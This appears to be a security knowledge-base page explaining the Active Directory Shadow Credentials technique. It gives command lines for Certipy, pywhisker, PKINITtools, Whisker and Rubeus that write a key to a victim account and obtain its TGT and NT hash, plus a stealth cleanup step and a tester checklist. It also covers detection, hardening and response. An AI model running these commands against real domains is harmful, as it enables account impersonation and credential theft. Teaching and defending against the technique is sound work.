Shadow Credentials
Shadow Credentials is an impersonation technique abusing Key Trust: in AD, a user or computer’s msDS-KeyCredentialLink attribute holds public keys used for certificate authentication (PKINIT), the mechanism behind Windows Hello for Business. If an attacker can write that attribute on a target account, they add their own key pair and then authenticate via PKINIT as that account, obtaining its TGT and NT hash —without changing its password or breaking the account.
Threat model
Section titled “Threat model”Unlike a password reset (noisy, breaks the legitimate user’s access, and is obvious), Shadow Credentials is stealthy and reversible: add a key, authenticate, remove it; the user never notices. The requirement is a write permission (GenericWrite, GenericAll, WriteProperty over msDS-KeyCredentialLink) on the target account —exactly the kind of edge BloodHound reveals by the dozen in real AD.
Prerequisites
Section titled “Prerequisites”- AD CS or at least a DC supporting PKINIT/Key Trust (DC 2016+). It needs no vulnerable template like the ESCs: the domain’s Key Trust suffices.
- Write permission over the victim’s
msDS-KeyCredentialLink(GenericWrite/GenericAll/WriteProperty), found in enumeration/BloodHound.
Red Team
Section titled “Red Team”Exploitation (Linux — Certipy / pywhisker)
Section titled “Exploitation (Linux — Certipy / pywhisker)”# add the shadow credential and get hash/TGT in one step (Certipy)certipy shadow auto -u attacker@domain -p pass -account 'VICTIM$' -dc-ip <DC># -> returns VICTIM$'s NT hash and/or a PFX for PKINITStep by step with pywhisker + PKINITtools:
# 1) write the KeyCredentialpywhisker.py -d domain -u attacker -p pass --target 'VICTIM$' --action add# 2) use the resulting PFX to request a TGT via PKINITgettgtpkinit.py -cert-pfx victim.pfx domain/VICTIM$ victim.ccache# 3) and/or recover the NT hash with the TGTgetnthash.py domain/VICTIM$ -key <asrep-key>Exploitation (Windows — Whisker + Rubeus)
Section titled “Exploitation (Windows — Whisker + Rubeus)”Whisker.exe add /target:VICTIM$ # adds the key, returns a Rubeus commandRubeus.exe asktgt /user:VICTIM$ /certificate:<b64> /getcredentials /pttWhere it fits
Section titled “Where it fits”- After an ACL edge (GenericWrite/GenericAll) in BloodHound → impersonate that account without resetting its password.
- Chained with NTLM relay to LDAP (NTLM Relay): relay a machine account to the DC and write the KeyCredential → authenticate as that computer.
- On a computer account whose hash you want (e.g. for RBCD or to access that host).
Cleanup
Section titled “Cleanup”pywhisker.py ... --action remove # or certipy shadow ... (restores the attribute)- Certipy (
shadow auto) — the fastest path on Linux. - pywhisker + PKINITtools (
gettgtpkinit.py,getnthash.py) — Linux, step by step. - Whisker + Rubeus — Windows.
- BloodHound — locates the write edges enabling it (
AddKeyCredentialLink).
Impact
Section titled “Impact”Full impersonation of the target account (TGT + NT hash) stealthily and reversibly, starting from just a write permission. It’s the preferred way to “cash out” a GenericWrite/GenericAll edge over a user or computer without the noise of a password reset.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Modifications of
msDS-KeyCredentialLink: audit writes of this attribute (event 5136 with the attribute, if directory-change auditing is on) → high-fidelity signal. - PKINIT authentications (4768 with certificate) for accounts not using Windows Hello/certificates.
- Correlation: one account adds a KeyCredential to another and shortly after PKINIT as that other.
Telemetry
Section titled “Telemetry”Enable directory-object change auditing on msDS-KeyCredentialLink; monitor 4768 with certificate pre-auth; use BloodHound to inventory who can write that attribute.
Hardening
Section titled “Hardening”- Minimize write ACLs (GenericWrite/GenericAll/WriteProperty) over users and computers — the same work that shrinks the BloodHound graph.
- Protect Tier 0 accounts: no one outside Tier 0 should write their attributes.
- If you don’t use Windows Hello for Business/Key Trust, consider restricting/monitoring
msDS-KeyCredentialLink. - Enforce LDAP signing/channel binding (cuts the relay enabling writing it on machine accounts).
Response
Section titled “Response”Remove the malicious KeyCredentials from the attribute, reset the account if impersonated, review what it reached with that TGT/hash, and close the write ACL that allowed it.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Shadow Credentials isn’t a CVE: it’s Key Trust abuse (Elad Shamir, “Shadow Credentials”, 2021). MITRE T1556/T1098.
- It’s the standard “cash-out” of
GenericWrite/GenericAlledges in modern red-team reports, replacing password reset for stealth. - It’s routinely combined with the AD CS (AD CS (Active Directory Certificate Services)) and NTLM relay (NTLM Relay) chains in real domain compromises.
Testing checklist
Section titled “Testing checklist”- Do you have write over the victim’s
msDS-KeyCredentialLink? (BloodHoundAddKeyCredentialLink) - Does the domain support PKINIT/Key Trust (DC 2016+)?
- Add KeyCredential and obtain TGT/NT hash (Certipy shadow auto)
- Chain with LDAP relay over a machine account
- Use on a computer account for RBCD/access
- Clean the attribute after exploiting (stealth)
- Blue:
msDS-KeyCredentialLinkchange auditing?